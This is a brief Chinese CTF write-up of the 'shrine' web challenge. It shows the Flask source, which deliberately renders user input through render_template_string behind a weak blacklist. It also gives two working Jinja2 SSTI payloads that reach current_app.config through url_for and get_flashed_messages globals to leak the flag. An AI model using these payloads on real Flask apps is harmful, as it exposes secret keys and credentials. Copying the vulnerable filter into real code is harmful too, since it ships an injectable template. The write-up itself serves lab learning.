攻防世界34-shrine-CTFWeb

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

尝试下，是个SSTI问题，并且过滤()和config和self

flag在app.config[‘FLAG’] = os.environ.pop(‘FLAG’)里

payload:
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

记住就行